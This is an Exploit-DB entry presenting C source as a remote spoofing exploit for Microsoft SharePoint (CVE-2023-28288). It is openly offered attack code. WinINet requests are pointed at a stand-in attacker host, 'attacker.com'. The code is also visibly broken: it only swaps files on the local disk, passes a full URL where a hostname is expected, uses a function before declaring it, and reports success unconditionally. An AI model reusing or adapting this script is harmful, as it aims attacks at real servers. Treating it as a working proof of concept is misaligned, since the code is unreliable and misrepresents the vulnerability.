Exploit-DB #51543
Description: Microsoft SharePoint Enterprise Server 2016 - Spoofing
Type: webapps
Platform: multiple
Date: 2023-06-26
Author: Amirhossein Bahramizadeh

Exploit:
// Exploit Title: Microsoft SharePoint Enterprise Server 2016 - Spoofing
// Date: 2023-06-20
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : Remote
// Vendor Homepage:
// Microsoft SharePoint Foundation 2013 Service Pack 1
// Microsoft SharePoint Server Subscription Edition
// Microsoft SharePoint Enterprise Server 2013 Service Pack 1
// Microsoft SharePoint Server 2019
// Microsoft SharePoint Enterprise Server 2016
// Tested on: Windows/Linux
// CVE : CVE-2023-28288

#include <windows.h>
#include <stdio.h>


// The vulnerable SharePoint server URL
const char *server_url = "http://example.com/";

// The URL of the fake SharePoint server
const char *fake_url = "http://attacker.com/";

// The vulnerable SharePoint server file name
const char *file_name = "vuln_file.aspx";

// The fake SharePoint server file name
const char *fake_file_name = "fake_file.aspx";

int main()
{
    HANDLE file;
    DWORD bytes_written;
    char file_contents[1024];

    // Create the fake file contents
    sprintf(file_contents, "<html><head></head><body><p>This is a fake file.</p></body></html>");

    // Write the fake file to disk
    file = CreateFile(fake_file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
    {
        printf("Error creating fake file: %d\n", GetLastError());
        return 1;
    }
    if (!WriteFile(file, file_contents, strlen(file_contents), &bytes_written, NULL))
    {
        printf("Error writing fake file: %d\n", GetLastError());
        CloseHandle(file);
        return 1;
    }
    CloseHandle(file);

    // Send a request to the vulnerable SharePoint server to download the file
    sprintf(file_contents, "%s%s", server_url, file_name);
    file = CreateFile(file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
    {
        printf("Error creating vulnerable file: %d\n", GetLastError());
        return 1;
    }
    if (!InternetReadFileUrl(file_contents, file))
    {
        printf("Error downloading vulnerable file: %d\n", GetLastError());
        CloseHandle(file);
        return 1;
    }
    CloseHandle(file);

    // Replace the vulnerable file with the fake file
    if (!DeleteFile(file_name))
    {
        printf("Error deleting vulnerable file: %d\n", GetLastError());
        return 1;
    }
    if (!MoveFile(fake_file_name, file_name))
    {
        printf("Error replacing vulnerable file: %d\n", GetLastError());
        return 1;
    }

    // Send a request to the vulnerable SharePoint server to trigger the vulnerability
    sprintf(file_contents, "%s%s", server_url, file_name);
    if (!InternetReadFileUrl(file_contents, NULL))
    {
        printf("Error triggering vulnerability: %d\n", GetLastError());
        return 1;
    }

    // Print a message indicating that the vulnerability has been exploited
    printf("Vulnerability exploited successfully.\n");

    return 0;
}

BOOL InternetReadFileUrl(const char *url, HANDLE file)
{
    HINTERNET internet, connection, request;
    DWORD bytes_read;
    char buffer[1024];

    // Open an Internet connection
    internet = InternetOpen("Mozilla/5.0 (Windows NT 10.0; Win64; x64)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (internet == NULL)
    {
        return FALSE;
    }

    // Connect to the server
    connection = InternetConnect(internet, fake_url, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (connection == NULL)
    {
        InternetCloseHandle(internet);
        return FALSE;
    }

    // Send the HTTP request
    request = HttpOpenRequest(connection, "GET", url, NULL, NULL, NULL, 0, 0);
    if (request == NULL)
    {
        InternetCloseHandle(connection);
        InternetCloseHandle(internet);
        return FALSE;
    }
    if (!HttpSendRequest(request, NULL, 0, NULL, 0))
    {
        InternetCloseHandle(request);
        InternetCloseHandle(connection);
        InternetCloseHandle(internet);
        return FALSE;
    }

    // Read the response data
    while (InternetReadFile(request, buffer, sizeof(buffer), &bytes_read) && bytes_read > 0)
    {
        if (file != NULL)
        {
            // Write the data to disk
            if (!WriteFile(file, buffer, bytes_read, &bytes_read, NULL))
            {
                InternetCloseHandle(request);
                InternetCloseHandle(connection);
                InternetCloseHandle(internet);
                return FALSE;
            }
        }
    }

    InternetCloseHandle(request);
    InternetCloseHandle(connection);
    InternetCloseHandle(internet);
    return TRUE;
}